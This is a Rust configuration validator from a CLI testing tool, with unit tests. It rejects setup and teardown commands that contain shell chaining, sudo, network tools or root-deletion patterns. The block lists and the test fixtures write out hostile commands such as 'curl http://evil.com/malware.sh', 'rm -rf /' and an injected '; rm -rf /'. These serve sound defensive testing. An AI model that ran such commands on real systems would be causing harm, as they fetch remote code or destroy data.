cli_testing_specialist/config/
validator.rs

1//! Configuration validation and security checks
2//!
3//! This module provides multi-layered security validation for setup commands
4//! and other potentially dangerous configuration options.
5
6use crate::error::CliTestError;
7use crate::types::config::CliTestConfig;
8
9/// Forbidden command patterns that indicate security risks
10const FORBIDDEN_PATTERNS: &[&str] = &[
11    "|", ";", "&&", "||", // Command chaining
12    "`", "$(", "$(", // Command substitution
13    "sudo", "su", // Privilege escalation
14    "curl", "wget", "nc", // Network access
15    "mkfs", "dd", // Disk operations
16    ">", ">>", // Output redirection (potential data loss)
17];
18
19/// Dangerous deletion patterns (checked separately with word boundaries)
20const DANGEROUS_RM_PATTERNS: &[&str] = &["rm -rf /", "rm -rf /*", "rm -rf ~", "rm -rf $HOME"];
21
22/// Allowed commands in setup/teardown (whitelist)
23const ALLOWED_COMMANDS: &[&str] = &[
24    "mkdir", "touch", "rm", "cp", "mv", "echo", "cat", "ls", "pwd", "cd", "chmod",
25    "chown", // File permissions (with validation)
26];
27
28/// Maximum command length to prevent abuse
29const MAX_COMMAND_LENGTH: usize = 200;
30
31/// Validate entire configuration file
32pub fn validate_config(config: &CliTestConfig) -> Result<(), CliTestError> {
33    // Validate schema version
34    validate_version(&config.version)?;
35
36    // Validate setup/teardown commands if present
37    if let Some(ref dir_traversal) = config.test_adjustments.directory_traversal {
38        validate_setup_commands(&dir_traversal.setup_commands)?;
39        validate_teardown_commands(&dir_traversal.teardown_commands)?;
40    }
41
42    Ok(())
43}
44
45/// Validate schema version
46fn validate_version(version: &str) -> Result<(), CliTestError> {
47    match version {
48        "1.0" => Ok(()),
49        v => Err(CliTestError::Config(format!(
50            "Unsupported config version '{}'. Supported versions: 1.0",
51            v
52        ))),
53    }
54}
55
56/// Validate setup commands (Layer 2: Command Validation)
57pub fn validate_setup_commands(commands: &[String]) -> Result<(), CliTestError> {
58    for cmd in commands {
59        validate_command(cmd, "setup")?;
60    }
61    Ok(())
62}
63
64/// Validate teardown commands (Layer 2: Command Validation)
65pub fn validate_teardown_commands(commands: &[String]) -> Result<(), CliTestError> {
66    for cmd in commands {
67        validate_command(cmd, "teardown")?;
68    }
69    Ok(())
70}
71
72/// Validate a single command
73fn validate_command(cmd: &str, context: &str) -> Result<(), CliTestError> {
74    // Check 1: Length limit
75    if cmd.len() > MAX_COMMAND_LENGTH {
76        return Err(CliTestError::Config(format!(
77            "{} command too long ({} chars, max {}): {}",
78            context,
79            cmd.len(),
80            MAX_COMMAND_LENGTH,
81            truncate(cmd, 50)
82        )));
83    }
84
85    // Check 2: Forbidden patterns
86    for pattern in FORBIDDEN_PATTERNS {
87        if cmd.contains(pattern) {
88            return Err(CliTestError::Config(format!(
89                "{} command contains forbidden pattern '{}': {}",
90                context,
91                pattern,
92                truncate(cmd, 50)
93            )));
94        }
95    }
96
97    // Check 2b: Dangerous rm patterns (check for root deletion only)
98    let trimmed = cmd.trim();
99    for pattern in DANGEROUS_RM_PATTERNS {
100        // Check if command is exactly the dangerous pattern or followed by whitespace/end
101        if trimmed == *pattern
102            || trimmed.starts_with(&format!("{} ", pattern))
103            || trimmed.starts_with(&format!("{}&&", pattern))
104            || trimmed.starts_with(&format!("{};", pattern))
105        {
106            return Err(CliTestError::Config(format!(
107                "{} command contains dangerous deletion pattern '{}': {}",
108                context,
109                pattern,
110                truncate(cmd, 50)
111            )));
112        }
113    }
114
115    // Check 3: Allowed commands (optional, can be disabled with --allow-unsafe-commands)
116    let first_word = cmd.split_whitespace().next().unwrap_or("");
117    if !first_word.is_empty() && !ALLOWED_COMMANDS.contains(&first_word) {
118        return Err(CliTestError::Config(format!(
119            "{} command '{}' not in allowlist. Use --allow-unsafe-commands to override.\nAllowed commands: {}",
120            context,
121            first_word,
122            ALLOWED_COMMANDS.join(", ")
123        )));
124    }
125
126    Ok(())
127}
128
129/// Truncate string for error messages
130fn truncate(s: &str, max_len: usize) -> String {
131    if s.len() <= max_len {
132        s.to_string()
133    } else {
134        format!("{}...", &s[..max_len])
135    }
136}
137
138#[cfg(test)]
139mod tests {
140    use super::*;
141
142    #[test]
143    fn test_validate_safe_commands() {
144        assert!(validate_command("mkdir -p /tmp/test", "setup").is_ok());
145        assert!(validate_command("touch /tmp/test/file.txt", "setup").is_ok());
146        assert!(validate_command("rm -rf /tmp/test", "teardown").is_ok());
147    }
148
149    #[test]
150    fn test_forbidden_pipe() {
151        let result = validate_command("ls | grep test", "setup");
152        assert!(result.is_err());
153        assert!(result
154            .unwrap_err()
155            .to_string()
156            .contains("forbidden pattern '|'"));
157    }
158
159    #[test]
160    fn test_forbidden_semicolon() {
161        let result = validate_command("mkdir /tmp/test; rm -rf /", "setup");
162        assert!(result.is_err());
163        assert!(result
164            .unwrap_err()
165            .to_string()
166            .contains("forbidden pattern ';'"));
167    }
168
169    #[test]
170    fn test_forbidden_command_substitution() {
171        let result = validate_command("mkdir $(whoami)", "setup");
172        assert!(result.is_err());
173        assert!(result
174            .unwrap_err()
175            .to_string()
176            .contains("forbidden pattern '$('"));
177    }
178
179    #[test]
180    fn test_forbidden_sudo() {
181        let result = validate_command("sudo mkdir /tmp/test", "setup");
182        assert!(result.is_err());
183        assert!(result
184            .unwrap_err()
185            .to_string()
186            .contains("forbidden pattern 'sudo'"));
187    }
188
189    #[test]
190    fn test_forbidden_curl() {
191        let result = validate_command("curl http://evil.com/malware.sh", "setup");
192        assert!(result.is_err());
193        assert!(result
194            .unwrap_err()
195            .to_string()
196            .contains("forbidden pattern 'curl'"));
197    }
198
199    #[test]
200    fn test_dangerous_rm() {
201        // Dangerous root deletions should fail
202        let result = validate_command("rm -rf /", "teardown");
203        assert!(result.is_err());
204        assert!(result
205            .unwrap_err()
206            .to_string()
207            .contains("dangerous deletion pattern"));
208
209        let result = validate_command("rm -rf /*", "teardown");
210        assert!(result.is_err());
211        assert!(result
212            .unwrap_err()
213            .to_string()
214            .contains("dangerous deletion pattern"));
215
216        let result = validate_command("rm -rf ~", "teardown");
217        assert!(result.is_err());
218        assert!(result
219            .unwrap_err()
220            .to_string()
221            .contains("dangerous deletion pattern"));
222
223        // Safe deletions should pass
224        assert!(validate_command("rm -rf /tmp/test", "teardown").is_ok());
225        assert!(validate_command("rm -rf /var/tmp/myapp", "teardown").is_ok());
226    }
227
228    #[test]
229    fn test_command_too_long() {
230        let long_cmd = "mkdir ".to_string() + &"a".repeat(200);
231        let result = validate_command(&long_cmd, "setup");
232        assert!(result.is_err());
233        assert!(result.unwrap_err().to_string().contains("too long"));
234    }
235
236    #[test]
237    fn test_not_in_allowlist() {
238        let result = validate_command("python3 script.py", "setup");
239        assert!(result.is_err());
240        assert!(result.unwrap_err().to_string().contains("not in allowlist"));
241    }
242
243    #[test]
244    fn test_empty_command() {
245        let result = validate_command("", "setup");
246        assert!(result.is_ok()); // Empty commands are allowed (will be skipped)
247    }
248
249    #[test]
250    fn test_validate_version() {
251        assert!(validate_version("1.0").is_ok());
252        assert!(validate_version("2.0").is_err());
253        assert!(validate_version("invalid").is_err());
254    }
255
256    #[test]
257    fn test_validate_setup_commands() {
258        let commands = vec![
259            "mkdir -p /tmp/test".to_string(),
260            "touch /tmp/test/file.txt".to_string(),
261        ];
262        assert!(validate_setup_commands(&commands).is_ok());
263
264        let bad_commands = vec![
265            "mkdir /tmp/test".to_string(),
266            "curl http://evil.com".to_string(),
267        ];
268        assert!(validate_setup_commands(&bad_commands).is_err());
269    }
270
271    #[test]
272    fn test_truncate() {
273        assert_eq!(truncate("short", 10), "short");
274        assert_eq!(truncate("this is a very long string", 10), "this is a ...");
275    }
276}